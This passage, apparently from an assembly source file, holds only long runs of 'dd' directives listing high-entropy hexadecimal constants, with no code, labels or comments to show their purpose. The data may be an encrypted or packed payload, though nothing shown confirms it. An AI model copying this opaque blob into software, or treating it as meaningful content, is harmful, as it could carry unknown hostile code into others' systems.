0E7ADFBC7h, 0C5D4F2C7h dd 0D7E1B4D7h, 0F9C6452Eh, 2AE2903Bh, 2DCDC561h, 68F0F724h dd 75ADBC2Eh, 0C6596BA1h, 0C71FFFC3h, 89F95DE5h, 6BE75477h dd 0FFFA8745h, 796B913Ch, 0D064ED86h, 83C1FCF7h, 9F82AD99h dd 0CE636929h, 0E3AF0064h, 2D518F79h, 6D64A179h, 32EDB120h dd 21C47CF7h, 0F787AD81h, 0A54F6925h, 706C32EDh, 8CFA84F2h dd 849FE730h, 7133E0C5h, 0C3ECA9C0h, 0A1BE3C8Ch, 0C286556Bh dd 0F1A13F6Dh, 0EDC404FCh, 65A1D707h, 0C3EDA1EDh, 0C50396F7h dd 0C7E16DEEh, 0EEC56163h, 2AD7D76Dh, 0FFE6846Dh, 0A0CBE735h dd 0D3ED9E8Dh, 8659E2C7h, 0C770B4E0h, 0F7057877h, 0B6919359h dd 3CCB627Ch, 7562E705h, 0F8EDE585h, 0C749A4E7h, 0E7E3ADE5h dd 0FAC550F1h, 6D52DAF4h, 2DCD8645h, 48FCF747h, 0B23CCB84h dd 0C575A27Fh, 9140ADC3h, 0A57E71E9h, 2E4CD96Dh, 74F384A3h dd 6565E044h, 92B6A87Ah, 0E1F4FD81h, 0F7F1B4ABh, 0F644D2C4h dd 80C730ADh, 6DC74604h, 37E7E712h, 0CCADE904h, 0C5844732h dd 0C71C2DE4h, 0DDC5F48Ah, 48D7A4EDh, 7FCEC7BEh, 5443734Ch dd 477FCE04h, 47960B3h, 4348EDC0h, 0E2C5688Fh, 0E51622Dh dd 6DEC455Ah, 4DA23996h, 0DD7FD3C5h, 1B64CC4Dh, 0C75C47BDh dd 0A86049AFh, 0E2C7DA77h, 0ADFA8779h, 0A71493ABh, 3FADCF06h dd 0EC65A681h, 3DA9ED8Dh, 0CDC5F083h, 7BF7622Dh, 0AD9B9844h dd 596623F4h, 70F29689h, 0C665EDD7h, 637C36C1h, 0FE45516Bh dd 0C232A9ADh, 0EDF1C4FFh, 7D65A3F5h, 0BAF4BC6Dh, 44FCF693h dd 10E8B7FCh, 0AAE09C8Bh, 73D7DA2Dh, 0B6FB06FCh, 75E5F7E7h dd 0BCEDEF04h, 0C4EC3143h, 0B3F72DC6h, 8301CB10h, 0E4E7E4BEh dd 2D9C2251h, 69A6D7F8h, 0ECADD9C7h, 0C56524E7h, 0D7E9ADD0h dd 0D50551EDh, 99D7856Dh, 0ED82ACCCh, 6DAE2106h, 0E3ED7B8Bh dd 4441A661h, 93BAB4E4h, 0FDC479E5h, 6EE7F1EDh, 7EF78755h dd 552CD7DFh, 0F2AD8FD7h, 445DE7A1h, 0E7D5FFEEh, 0E78459E1h dd 0FAE7EE2Dh, 0ADD8C4D4h, 65EDA333h, 0D51C9FE5h, 8458337Ch dd 0B33EEDE1h, 0D045E4C5h, 64F7DAB3h, 2DD04604h, 0D073D7C8h dd 0ECADE2C7h, 0C32874F7h, 93826D93h, 0C38469E0h, 18E731F7h dd 36F905D4h, 0F418E7F5h, 0F1B7E5C4h, 0A24414D7h, 9137EDA9h dd 9F7951A1h, 0AA5C0D6Dh, 6DC54645h, 4BB8C784h, 0DE24811Ch dd 84E836A3h, 0E7936DEEh, 0ABAC416Bh, 0A5197CF4h, 0AD89B861h dd 0EB92E75Dh, 7087D5C6h, 4692DF1h, 0D7DFEDDDh, 0EB84752Eh dd 0A720E5F4h, 0ADDB4645h, 28A2F7D0h, 0F5EDC504h, 0C6C8FB79h dd 0D79FADFBh, 9A556127h, 1AC7EF49h, 0B982D7DCh, 508F0D62h dd 7FADF8C7h, 45DA841h, 9082B9FEh, 0FC0544F5h, 3CF78DF4h dd 0EDB5F764h, 7D2561F5h, 694164F7h, 89C6D42Dh, 39E23686h dd 0B5B4F8C5h, 6ED273ADh, 6D1D292Fh, 4565D7CBh, 392DADC3h dd 0C6C44ED7h, 0E78786F8h, 0CB857561h, 2BE7853Ch, 0BCD80445h dd 0D08DD731h, 0DAC6FB45h, 37416AB3h, 0E7907146h, 0BAB4F8DAh dd 0F1A382EDh, 51DCC454h, 796DD790h, 0DFEDD904h, 4592FF7h dd 0E0A047C9h, 0FF047164h, 26E00BEDh, 0ADF9C751h, 75A4E7ECh dd 42AD76F6h, 468929FCh, 0E4D66DD8h, 454BD8FAh, 0A38381EDh dd 3388E065h, 7124E734h, 0E5EDEE04h, 8575A4BCh, 0E740C0D9h dd 0E0857416h, 45D77D74h, 0ADE4C640h, 5D279383h, 0E1AD8F50h dd 464560D7h, 0C7FCADF8h, 0B02E9F69h, 0ECC7F8EDh, 0ADB5A049h dd 8870713Ah, 0DF2DEBC7h, 9449E3D1h, 70E4B6BBh, 0FAC4592Dh dd 0E5D73BB1h, 0FE4AF64Dh, 40C1D7C4h, 3DADEE46h, 45756EE2h dd 0C70106EDh, 0B4E15D2Ah, 24AB7DADh, 84CE0769h, 0D831F786h dd 323E7860h, 84D8B2E7h, 0E7FFEDE9h, 0A48351A0h, 0E8D78F4Ch dd 2D95827Dh, 65A2B1F0h, 19EDDE06h, 0C56CFDF7h, 0C726ADD1h dd 8CB9F8F3h, 0A54239ADh, 3ECD8645h, 61AA83C0h, 86384EE3h dd 75B83BE7h, 0D71374AAh, 6B75F473h, 7B55B777h, 0ADEDC7CAh dd 41ADF7E4h, 0FA77F5C6h, 0C5C40073h, 0C795EDCEh, 0FC454563h dd 0AAD7B36Dh, 47E30641h, 4520F028h, 153CD9C5h, 4756BE7h dd 22D8C1FFh, 0C686616Bh, 0A9C72BB9h, 0EDA96165h, 49E4F739h dd 0E7ADDEC7h, 84A885F7h, 0D7DFADE3h, 0AC42412Fh, 65E7356Dh dd 32C14649h, 4DFD733h, 0C6ADF6C5h, 464525E0h, 939FADFFh dd 0DE8450B6h, 5DB19AFCh, 71A560FCh, 45A151E5h, 4DB3E845h dd 2F79ED92h, 71502DBDh, 0E805496Dh, 3B1155B1h, 74BC7DD8h dd 49E4C778h, 872DF4C7h, 5596D5Eh, 0F7EB6DECh, 0D0C44C56h dd 20D759ADh, 6DABAD49h, 16C674AFh, 28E3DCC5h, 0C404C431h dd 7D38B9C6h, 821CA085h, 0A1D72FBEh, 0D3DEC575h, 55A06271h dd 0BCF783F9h, 0C6985943h, 0DC6337CFh, 0A1294921h, 44D748EDh dd 6DECC6E0h, 0B021F725h, 4F499E8h, 0A3000073h, 0A13CBBB8h dd 0AA536DA0h, 4412BAFAh, 43E0C6F8h, 55A0F7CBh, 27BCFE04h dd 16D2AF7h, 0D7E82D89h, 0C0C7407Ah, 6870E1ADh, 0EDEF444Dh dd 51EA0178h, 0D5ADD8C7h, 6A821F7h, 0F7DF6DC0h, 815469A3h dd 0ADF7E6B4h, 6DEE067Dh, 51AD20C0h, 8BB6EB7h, 7409EF7h dd 0C77CADC3h, 0CEC57DA3h, 66D7D7EDh, 0ADD6C65Dh, 716501ACh dd 0CDB369BDh, 0C5689EF7h, 0D72B2DE3h, 0C0C7A893h, 0A991AA38h dd 2DCD8661h, 692914B8h, 5EDEC04h, 4655A3F7h, 0E7BAF4D8h dd 0E046492Bh, 6AE725EDh, 72CFC741h, 41E24237h, 66AD16DBh dd 443041D7h, 41804AECh, 0FE0684DEh, 0E9F70AF7h, 0EDE64665h dd 61AE91A3h, 0BCFCD786h, 0CE412AE7h, 0C7E4AD76h, 8DAF708Fh dd 28D7DF2Dh, 0C4D7C56Dh, 65213029h, 7C70D8C6h, 0B89C7520h dd 5DD2AD6Eh, 0ED84716Dh, 6BE7B1EDh, 3AC9C661h, 3C415150h dd 0BD7ED085h, 0BD65E512h, 706EADA6h, 0EE85F0F1h, 0C2E7376Dh dd 0F6DCC5A8h, 6166D7EFh, 9BADD0C6h, 0E09CA3F7h, 0E7526DA7h dd 0A8FACF92h, 0EDE7E66Dh, 2D8D2179h, 4169A16Bh, 29ADEEC7h dd 0B9612520h, 0A1F884A4h, 0DD46C034h, 0A23DEF6Dh, 0ADBC7A41h dd 0C45EAD29h, 1BADB00Bh, 7C58B8C7h, 41803C9Bh, 0DEC6B8C8h dd 0E25033D3h, 41EC8445h, 200030E1h, 0DD3A829Ah, 4645A853h dd 8F67EDDDh, 8DC14C85h, 0ACA12DB4h, 2DA403A8h, 41209D79h dd 1A2DD287h, 680A6D7h, 0E7D9EDCEh, 0F644696Bh, 0E5B16AC4h dd 0B391404Dh, 45671259h, 8AFBFE86h, 0E113F6B0h, 0D7AB2D8Eh dd 91E0F0B6h, 6DD748EDh, 2DE48665h, 49E5D75Ch, 872DF345h dd 0C1E0B5F7h, 0C71237A1h dd 8BA1BB2Ch, 0F993D7BBh, 3CEAC4BCh, 79E59D4Dh, 0A303F906h dd 396039D7h, 6F74EDBDh, 9C896601h, 22C75CFAh, 0ED83CA41h dd 83EB37Ch, 62FF1A36h, 0B2716D1Dh, 0D7E67684h, 0D1864566h dd 0DAE729ADh, 6D8121E4h, 0E8B4E7CDh, 0A52DDDC7h, 457DA2C7h dd 0D7296DEEh, 0ED045DEDh, 22D7E5ADh, 2DCD857Dh, 49A3D770h dd 0A671A90Ah, 2165A250h, 43B76DBCh, 0A6417046h, 66D7E42Dh dd 0AD90B245h, 8474E796h, 38EDDEC5h, 47525E7h, 93D7ADD7h dd 0E0855D6Dh, 8B633337h, 0FFD80430h, 61A9C705h, 0F32D952Ch dd 46077881h, 0C7162DD5h, 0B62B99BBh, 2AA13E77h, 0ADB53275h dd 712B8018h, 0F820DE44h, 0C451ED90h, 0B13EB6C6h, 0ABECF0C3h dd 68A1A1FBh, 36B28175h, 41ED93D7h, 7EDE146h, 464564F7h dd 4333EDCBh, 6E29EFC6h, 0DD73A6Dh, 37FC46D8h, 4B05D724h dd 9DC6F475h, 0C57D6D55h, 0D71D2DCEh, 0E48420A2h, 0B45195F4h dd 2D8DC1E0h, 0EF90F72Bh, 152DAC39h, 885D66D7h, 0E7E3AD91h dd 0B5295007h, 0D0207CEDh, 0F64361B8h, 4D60F7E1h, 0DEAD90B8h dd 0FCE0C4C7h, 33A3E674h, 0EBA951E0h, 79F72BFEh, 0EDFF04F4h dd 0E40D1D91h, 8DED8D20h, 0E2C2D651h, 0C75FC699h, 0B882FCC4h dd 34C715ADh, 0B5B3F7E0h, 712523C7h, 0AEEDA8ABh, 98645D3Fh dd 0C705F698h, 0AD68CC97h, 0ABE7B8ADh, 0ED1CE861h, 51ED1932h dd 7CBECF44h, 286D6B23h, 0D7D98275h, 9E08D992h, 5760DAEDh dd 0B5F385D0h, 6565B362h, 43F65498h, 4545E903h, 72DAC4C2h dd 0E44679A2h, 0A0410CBEh, 0EDB56C6Dh, 0B8ABF0A0h, 6AB4EBC4h dd 47D07B41h, 0C714FCF1h, 95EDF4D1h, 63CE8D2Dh, 0ADAB2397h dd 0C65A127h, 0D931FA44h, 77563E7h, 0A2B6EDEFh, 0D0C449A8h dd 0A5D7DC47h, 0F96D2F49h, 0F0C85C87h, 0E96DAEECh, 7456BE7h dd 0B33CEDF7h, 9A1FC081h, 0E1D70FF9h, 3FCB049Bh, 652A91FDh dd 0B4F6D504h, 94046041h, 0F7EEEDB0h, 90AD2C7Dh, 0E7E7A549h dd 0C1C14714h, 1767F785h, 5DD9CAC6h, 0AE8086CCh, 0E7BB37B3h dd 0FEC56165h, 60814CB0h, 89087304h, 75AFEC22h, 0AFAD6E75h dd 0F76D6EEEh, 71E451EFh, 99765EAh, 0EC42EEEDh, 2DDA452Bh dd 0C0D6E7B9h, 0BA2D4DB4h, 0A1756BD7h, 9178ADBCh, 0F1C75D6Dh dd 0E172FE71h, 0ADB42A79h, 61A9D7E0h, 6301C9C4h, 0B93F23F0h dd 0E7C3F184h, 0EF06A7A7h, 2C6D88ADh, 0FEC87559h, 59A18125h dd 91ADE7F7h, 3DF8B8F4h, 0E7FB6DA6h, 0D0C56965h, 63E7E9ADh dd 0EDE3C745h, 51615343h, 0B347E2C6h, 4561A2E7h, 0F7766DEEh dd 0E884E048h, 0D6E7797Bh, 0EDE184E0h, 6DAED726h, 0A7F6D584h dd 0C48070E7h, 0F771EDF5h, 0BE1A79E0h, 0CDE7BB6Dh, 7F455493h dd 792DE7FFh, 0C4C86814h, 78527D7h, 0D785ADE5h, 0CD06604Eh dd 22F7512Dh, 98E4079h, 85EAE783h, 0C598CA36h, 0C4ABA7E7h dd 0D7F8C8E8h, 78E91E27h, 7C71D7F1h, 0ADCF84E4h, 6563E724h dd 46F7FBC5h, 4D486A2h, 9C56F9F6h, 0C9C77D6Dh, 0AFC7DF01h dd 0F9FC8565h, 86F26D5Ah, 0DAC1C104h, 2F7161F7h, 0D42EAD79h dd 0FF84283Dh, 0BBA1E0ADh, 0C804B5h, 5563A4BEh, 17C1C144h dd 4527C5F7h, 0A4E0EDEDh, 0F604A4FCh, 0EAB440FBh, 90D53681h dd 0AFA7E7FCh, 0E1CBE487h, 0D39946E7h, 54F42D9Bh, 0C836BD7Ch dd 0A76100A0h, 0CBE48483h, 9927D7DAh, 33ADB8D3h, 0B39581F7h dd 0A47E21D2h, 45757561h, 286EA5EDh, 0ADCD7559h, 51A5F7CAh dd 5C6D40D3h, 0B3FBB6E7h, 0F45B21D7h, 0C1C427F2h, 80F79DC1h dd 2DA50FFCh, 243DD42Eh, 0B4ADFC87h, 0C6A47064h, 0C41860F9h dd 0C1058533h, 14E78CC1h, 0D9CA4727h, 59A3E78Dh, 877FDE84h dd 36A97CE7h, 0A4BEF4EEh, 0C1455563h, 14E7F9C1h, 0E1CA8727h dd 59EDA206h, 0C2A3E0C6h, 709DAA94h, 0DCECEDC1h, 659955A6h dd 0E224726Dh, 60FE7879h, 85330438h, 65C1C185h, 440714E7h dd 0D7F8A2FBh, 0D2B38993h, 0E4A47EA2h, 2D687575h, 0E78EF734h dd 0FBE4E446h, 0A1ED75C7h, 0E4CCE4FFh, 7D614965h, 0A9AFE96Dh dd 6D1DC161h, 0F7C7C751h, 0A12DD186h, 20D885A1h, 80ABE0BAh dd 93D751A6h, 27F080F8h, 0EDF9444Dh, 41AAC7DFh, 0F3CF5C6h dd 44F0BD61h, 73C72DD9h, 77E3E4D3h, 28BC7231h, 0B984A9A0h dd 0DF54E725h, 2ADDF07h, 0ADE8C463h, 0EC7910D4h, 446149E5h dd 2FAFE9EDh, 0FEEAF265h, 5493E731h, 2774A70Dh, 0C708B651h dd 0F7262DFCh, 0FB8775ADh, 0EF6189FCh, 0ADB5595Dh, 452A6197h dd 3F6DE646h, 46C485D7h, 59642DE1h, 0EA04F07Eh, 0FD4138FFh dd 1FAC5FCh, 41E8C72Dh, 0EC308183h, 47CF454Dh, 7124ADC9h dd 0F605684Dh, 0E55DAC89h, 87216D4Dh, 416D4DE3h, 7ED362Dh dd 0E159EDD7h, 0F7FD6D66h, 0D1C6B83Bh, 6B9DA2F0h, 97C5C559h dd 6169F729h, 0F76DECC4h, 0C4C4B4C7h, 0E7FD74E1h, 9F7265A4h dd 5D7FC7Ch, 0AD79ED4Ch, 0C8204326h, 3314E984h, 0C541AAADh dd 0C7F0FCC9h, 692161A1h, 6DC4456Dh, 0ED7EC3B1h, 0EC7DE891h dd 0F374D485h, 6DB068D2h, 0D7842D47h, 0A849E485h, 2BE7FF24h dd 0ED6B6F75h, 59226F8Fh, 8467D26Fh, 8261A4AFh, 0E7FF2DA4h dd 0E7C561E7h, 0EF5DACF4h, 1CEAAE4Dh, 0DB8FE7DCh, 0A9ADE0C6h dd 6F59A3ADh, 1BA467D2h, 0C2E9DC70h, 48C7FCF7h, 2D3980C5h dd 5DEC6DCCh, 0EBED4D49h, 634B8E4Ah, 0C7A56DAEh, 0EEC51FB6h dd 0DDE7B56Dh, 0ED676D70h, 3CABF744h, 0D0ADCDA0h, 84FB8FE7h dd 0D7E0CECBh, 0E02FF9D2h, 89F7E34Ch, 21FFC5D9h, 6964E7DFh dd 515673ABh, 6F7569ADh, 3F6EED71h, 0E42FA4B8h, 6C658A21h dd 7EB6FA37h, 4528B89Ch, 0B3EDF584h, 0C56C43C7h, 0AF9121DFh dd 6F6F756Eh, 0F6F7F42Dh, 0A4CE86C7h, 6DA58F39h, 0D8A4DF06h dd 457DA2BBh, 8C6A33CEh, 0FCC67927h, 0FEAF8D64h, 417FF4D8h dd 59EE834Bh, 572467F5h, 47D7F885h, 0D73D47C1h, 0F60717E6h dd 22A15EE0h, 0EDE94575h, 45E6AD59h, 27ADE246h, 0CC603ED7h dd 0E7F06D1Ah, 0E546043Dh, 85D7C6EDh, 43750C8h, 0EB8FE7CCh dd 0CCC9D645h, 2FF90FD7h, 0D7A14CE0h, 5ED545E0h, 25EED56Dh dd 0ADBED67Dh, 79A59FADh, 0CC6D8541h, 0E16DAB5Dh, 0D7C0FC97h dd 4600E973h, 72C799EDh, 7C93E3EDh, 4D66F7B3h, 9AEDEDC4h dd 815DEC81h, 0F7F16DAEh, 0EA04CC3Dh, 0ADB19AF4h, 0ED6D1159h dd 51A2B2ABh, 0E6B0E704h, 4B3F0C7h, 0C7E1B0E7h, 0E74493F0h dd 0F0C7E0B0h, 74EE44B3h, 6566F7E3h, 0B2AD90EFh, 45563E7h dd 0E2F2EDEAh, 0FCC67DE4h, 0E9E72954h, 2D99A355h, 0F43CF7ABh dd 0CF74EF04h, 0EA4964ADh, 0F7E0AD6Dh, 0B3AE37BCh, 0BCF7E640h dd 48F0C507h, 6A2A5CEh, 136DEE87h, 6552173h, 7082F7EDh dd 0EFC7ABE9h, 0B9D4BA6Dh, 6D3DC2D9h, 7B44F5Fh, 761C504h dd 4575A2E7h, 0E776B4DAh, 0AAA3E2DDh, 0E4E78DADh, 0FF99D661h dd 70BCE7EFh, 0A12DE004h, 84C0FF91h, 4132ADD1h, 0F2C500C5h dd 6A2D17ADh, 2DED4645h, 0D8F4F77Eh, 652DCE84h, 47A8BDF7h dd 0C71FC3E8h, 0AE7D7524h, 0BEA10E6Dh, 0B7D985C4h, 55A4B043h dd 0B86DF4C5h, 0C72B05A1h, 512C2DE5h, 876171EEh, 77A15BD9h dd 47C187E4h, 0ECB2F741h, 0EAD8501h, 0C3F18E55h, 5594ED4Dh dd 0A0534D24h, 0A481817Ch, 262E7351h, 49246130h, 0C794FCAEh dd 5DB8FE7h, 0D7E28BCEh, 0D92FF9D2h, 0FC7D1466h, 0F7C2EACCh dd 7DE7F79Ch, 0AEA3C5AAh, 0C4612AA1h, 0D7E7C4D4h, 0E42FF9D2h dd 0CC748763h, 1EE8BF81h, 492CD741h, 0EE63D7AEh, 0D9616FB3h dd 550E2D4Dh, 0F92BD58Eh dd 0E105D623h, 26F34769h, 0C4FDC77Fh, 0CC6DA561h, 0D961A34Dh dd 855D2D75h, 0C9C7E87Bh, 32E7FB2Dh, 0AD9B62DFh, 0D33D4375h dd 2A2DB522h, 22F8FA9Ch, 0D7153458h, 0A7E3375Eh, 34C7480Ah dd 6DE88468h, 456DE7B4h, 0BBADD346h, 882B1EE7h, 930A2D69h dd 7D9F5D21h, 221C932Dh, 32BC9A5Dh, 0D045F7DDh, 1A32FE04h dd 0BA0018C7h, 2C52AD62h, 80FA14DEh, 5BF769C7h, 0A565317h dd 67B5F7B6h, 0A5F7EC06h, 0C17129B3h, 0F7CFAD8Dh, 0A89455A5h dd 83214ADh, 74C685D4h, 75A2E733h, 8EC387EEh, 84712DBDh dd 0F7712DD5h, 0F746E4B0h, 0C3E7B1ADh, 0ED987D08h, 7C04C716h dd 74F4F704h, 2C902FE7h, 0A083EDAEh, 0CB8541A2h, 0EBE7B4CCh dd 0B4B44D5Dh, 65E4E7F5h, 81B4FB84h, 0AE49A021h, 0E097ED75h dd 91A2F539h, 207DCCADh, 4F8C465h, 0AD66F7CFh, 35ADDA84h dd 46516CF2h, 0F7B1F4E3h, 0D3625DE0h, 6170A704h, 0F7EF847Dh dd 0BC43F7DEh, 0FF7CEC44h, 205B3EF2h, 0E7EA6D5Bh, 0B1A355E5h dd 72E76474h, 0EDA0E248h, 60B3F73Ch, 0C0845AECh, 427DE4B1h dd 8D562D55h, 6EE200B9h, 2083562Dh, 0ADBA1459h, 0E5FCF405h dd 2A2D34BBh, 32DBFFF7h, 0FC75E19Fh, 0AF037525h, 32A995A1h dd 0EDF185F0h, 71E84C66h, 7FEDCA04h, 0B45D61E7h, 0F4BD2DA7h dd 95EE1363h, 0A15304A1h, 0B4C04655h, 656D5C69h, 316DEC86h dd 0C5FFB35Fh, 0E771BCC8h, 0C8055D6Bh, 2A91BC2Dh, 0B7D3046Dh dd 81225EB7h, 37F5ADh, 0A34923A3h, 6FEEAD65h, 40D6D25h dd 36FF06Dh, 87D1C5C0h, 5C0C5131h, 0FDADCDA8h, 85EF7CD7h dd 0C7DECFC9h, 6B0DCDBFh, 0C1F7DEADh, 0ADD5E8E1h, 65A31555h dd 57ADB2E2h, 0A17C7C90h, 0F7392D51h, 0BC9D94A4h, 27E7B8ADh dd 0B7DC444Dh, 59E9F773h, 0ED58E230h, 0BCE84160h, 41BBA794h dd 0C0C6552Dh, 6BD7DBBCh, 4FEE854Dh, 5921E7FFh, 2C6D1589h dd 5692525h, 0E7CB2DDAh, 70F6612Ch, 0A9D75F6Dh, 0E7FC6F2Ch dd 49E1AF80h, 6AAD44A3h, 0C6C7FFF7h, 9E9A61C5h, 0CF04F195h dd 0D3F0E7EDh, 0ADF346C5h, 65E5152Ch, 742DCE84h, 75CB449h dd 0F7CC8ED2h, 0B4CD5D6Bh, 26E7FF64h, 0ED6FA349h, 7DAE2FC2h dd 74CFDF63h, 0EC616BD7h, 0D7FDA1F5h, 0F10551EDh, 0A2F7E587h dd 0BFF9C475h, 61E9E7FFh, 678FCC6Ch, 84E4CEC7h, 0F7872DCDh dd 612C5812h, 0E45008C7h, 0F4B3E17Dh, 75EFD7E6h, 0EF7779ACh dd 0D49F41D7h, 553E2771h, 0F105716Dh, 2AC7DF87h, 67870851h dd 77CE45A3h, 0BF44FE05h, 636126F7h, 0BB4C6D7Dh, 6095CC7Eh dd 0A2E71A6Dh, 0B2FCC571h, 5C12C71Fh, 0EEADCD6Fh, 25D77CD7h dd 0F7C74484h, 657BB11Ch, 0C15B57ADh, 0ADD106E0h, 18FCC7E9h dd 0F1EDB900h, 4F40CE1h, 0A3FBBBCFh, 0C14445E9h, 0A69303EDh dd 2DEA4598h, 0E0B0AD75h, 44B49936h, 1D0B9E7h, 0F7256DA3h dd 0FD6F1040h, 7CD7E374h, 34FA86D7h, 7D23A34Dh, 892D1A43h dd 0D14525E7h, 0E7CB6D9Dh, 0F985D752h, 6364F27Eh, 44FE8565h dd 7F7F7C9h, 1621E284h, 4655EDF0h, 0B3EA6DE1h, 5DC9CD7Eh dd 5ED78972h, 0B015BE8Bh, 0A7F2D7CCh, 0FA02E8C4h, 0BA71AC92h dd 0E788346Dh, 0C0064D22h, 68D7DFB4h, 0F4E3C455h, 416071DDh dd 252D8D63h, 3B5521F7h, 91CA2D25h, 0F584C435h, 0B3F7CBEDh dd 0ED9EE1FCh, 61A2C7D3h, 312DBD6Eh, 66D6BE7h, 91646DDBh dd 0E0067DE6h, 0C3D7136Dh, 0EDFC04FFh, 14BEE7FFh, 7F49BB3h dd 7E5D28E7h, 0E7E7F774h, 0EBC5756Dh, 66D774EDh, 0ADD70669h dd 0EF3EF71Ch, 0D584B4A9h, 0A1B86BA1h, 0F7D934ACh, 0F107512Dh dd 0BFE7F748h, 74CC8428h, 79E0D7F1h, 146DAE0Ch, 86796BE7h dd 0E2F7ADF5h, 0EBC55042h, 3043BD2Dh, 0EDBAFD50h, 835C7B1h dd 0C1ADFA84h, 0D0FBCBB9h, 0F72B2D60h, 0E204E7FFh, 6F8C3321h dd 0E6ED70A0h, 2C02E7B7h, 81AD65C2h, 0B3712DA2h, 9243ED63h dd 0E4C641E6h, 2782CDADh, 2D657C59h, 5D6DD7F5h, 302DCDC6h dd 89A2BFE7h, 0D77C8F97h, 0C6C4616Dh, 0AB70C5F4h, 0BCBB5375h dd 652C908Dh, 0EFB5BB9Dh, 0C5D47C64h, 0B09D44FEh, 0E284F7FFh dd 25EC1621h, 0D6EF2341h, 0E4C1D7ABh, 0ABEDE104h, 145E580h dd 63692D91h, 0A5D14563h, 0AAA1976Dh, 70FD4645h, 33BB93BCh dd 0DFFBE039h, 927DA8E7h, 0F75C7885h, 0F37F30CAh, 0C6C7D944h dd 2DFF4644h, 0C7FFF76Bh, 9CE7D785h, 36562F7h, 0C7DFEDB3h dd 0B6FE44F1h, 0E4858BADh, 2DFCC70Bh, 7D66E7B8h, 5F23C784h dd 48C0B5Ch, 0B5913BD4h, 0F3876FD7h, 0ED91FA38h, 0ED72D179h dd 20FFA2E7h, 0A1C2EB04h, 0AD71605Dh, 0E7FF64F4h, 7FB95D6Bh dd 0A52E2DADh, 13210D6Dh, 552070E4h, 0E1ADA623h, 6C07EFAh dd 3436B7F5h, 0D4C5224Bh, 0F4C73303h, 1BDAC5E8h, 38CAF731h dd 46DAEE0h, 849FB5D7h, 0C727ADD1h, 0CBC700C2h, 61E787B4h dd 2DCEC545h, 65EDD727h, 4DEDF544h, 0D184BDA1h, 0E7FDB4A6h dd 8B4151A4h, 68C71233h, 0ADBE085Dh, 2A2DA5C1h, 8DEDDC86h dd 0F679A8ADh, 0B5CA23E0h, 0EA455415h, 227A9FA2h, 0A2838171h dd 7DAA6138h, 0CD6DB58Eh, 0C7A4FF73h, 588CFCF0h, 0ED045DEDh dd 0E4637EBCh, 0EDAE4C49h, 496CE028h, 7CFCEFC6h, 84C0F5D7h dd 0E08F76CDh, 0CD06641Fh, 0A9E74E2Dh, 0ADA54C61h, 412EB147h dd 1A44B2C1h, 6975A2C7h, 0E757AD9Fh, 0E28440FFh, 71E7742Dh dd 686C1C0h, 0C4838105h, 27B4EC06h, 0C6C33FC7h, 93CD2DF3h dd 0E3C5516Bh, 0A2F76534h, 2DF88561h, 0C45291C4h, 83F4ED04h dd 0E3756DF7h, 0E7706DACh, 0EF4649A4h, 0A2B144EDh, 0EDC4C551h dd 0F4FAA1C4h, 0E77CDD85h, 45C6B68Dh, 91D30CE6h, 0B5824924h dd 0E0F7B144h, 0EDF98651h, 0C4F4E7ECh, 0DCADCD86h, 0E34C31D7h dd 9D86EDA2h, 0C446882Ah, 19154EDh, 6DEE45ECh, 69A4E776h dd 8744B5C3h, 448CE1C7h, 0F786EDEFh, 0F4864521h, 6EB147ADh dd 0F4ED854Dh, 4525616Ch, 0E636AB8Dh, 0C5583BE7h, 0E7FF3CD5h dd 0D4C569E2h, 0E6F7DFC4h, 2DAC8F79h, 0FAFDD715h, 0C874EFC5h dd 83FBFED7h, 0D72833B9h, 6129716Eh, 0F7BD2374h, 44CB84F8h dd 41E9D70Ah, 0A27C86E1h, 435C42D7h, 0E730B6BDh, 0ECC7516Bh dd 0BC5FEC2Dh, 2DCDC554h, 0F8B48249h, 0DC4FAD4Fh, 5061A9F7h dd 0D77C2D8Dh, 0BA4D7CFEh, 2A1F1DADh, 0EDF50479h, 496BA015h dd 6F7FEB04h, 0C459A203h, 0E7E1B4E4h, 0D50555EDh, 11F7F2EDh dd 0AD82E38Ch, 51607346h, 0A5ADEBC7h, 0C66166D7h, 11CBADD3h dd 0E3C5E848h, 61E7862Dh, 0BFE7C561h, 4CCFE7E9h, 0D8ADBC8Eh dd 0C74D6071h, 0F7C5EDEDh, 0D0046D6Ah, 0A9C7A4ADh, 0EDE8C565h dd 0DC553116h, 6636E944h, 0CE496501h, 0E7DFADA3h, 9ECF5D27h dd 60F7D9EDh, 6DD4046Dh, 49E0B1A8h, 94ADF5C7h, 6D516A81h dd 0E7F5B6A1h, 0B66269E4h, 0E0F78773h, 0ADA42271h, 0D8BCAF24h dd 2734BD69h, 297128F7h, 0F7E7F69Eh, 0E7844128h, 713374F6h dd 0B989A9CCh, 0DC4AD795h, 6830BD26h, 0C5D0369Fh, 0D7A3ADD0h dd 866FC0B3h, 75F790EDh, 87DB87C0h, 4ABA831Ch, 3FEDCE46h dd 4712503h, 1DB9EDF0h, 0B88265A0h, 0D5C7722Dh, 3BBA03C4h dd 0D8050104h, 73EDAA21h, 0E4D203h, 0C79A2D84h, 0E784D0B4h dd 0E5E7E72Dh, 0ED410179h, 6DE690C1h, 99F4D886h, 0C2E84CD7h dd 0C72BADA7h, 0FA0471E9h, 65E73431h, 0EDB4CA55h, 75E57353h dd 0E0B4A4E3h, 2275E4F7h, 0D75E2D8Ch, 88B39F39h, 0A6C7B837h dd 0ADCB8659h, 4928E7E1h, 766DACAEh, 0ABC0D0F7h, 93D12D8Ch dd 0F5455E9Bh, 28D7A416h dd 0F7CD4459h, 5C5BD724h, 132DF8C5h, 0E3752861h, 8C79069Dh dd 8D3064B9h, 6BA3A76Dh, 7ED7C649h, 71A2E71Fh, 396D7D55h dd 8557D8BCh, 0E7B4FFD8h, 0EE8465EBh, 2FD7DF3Fh, 8FE28545h dd 61EA8D4Eh, 0AC04F4C6h, 5585BD7h, 6B21F9F2h, 178D49EBh dd 8CC7D76Dh, 2DE84647h, 0EC87C233h, 342D9D2Dh, 94C80DECh dd 0D7F46DA8h, 0FCC561A5h, 0F2B0E4ADh, 7ED746F8h, 456BDC34h dd 0AE04E345h, 87DB3FC7h, 531781FEh, 0F146847Eh, 0E5DE466Dh dd 6D19B775h, 5C491349h, 14AD4963h, 0EEF3BEE7h, 9B68F4BCh dd 881C6CF9h, 0A2F73137h, 6F5C445h, 0C39801DEh, 0A30EFE45h dd 0C664DBF7h, 0D7330EC0h, 0ECC66966h, 0A31D1E34h, 0C18F2A4Dh dd 79AFFEACh, 0B8B96963h, 879E8D7h, 0F7B33993h, 8C624564h dd 0F5F7C12Dh, 0EDCE04B1h, 0F25F8DEh, 0B1F8E285h, 0D1DCBD21h dd 0C77E2D8Eh, 0EE44D7B9h, 0A8E70681h, 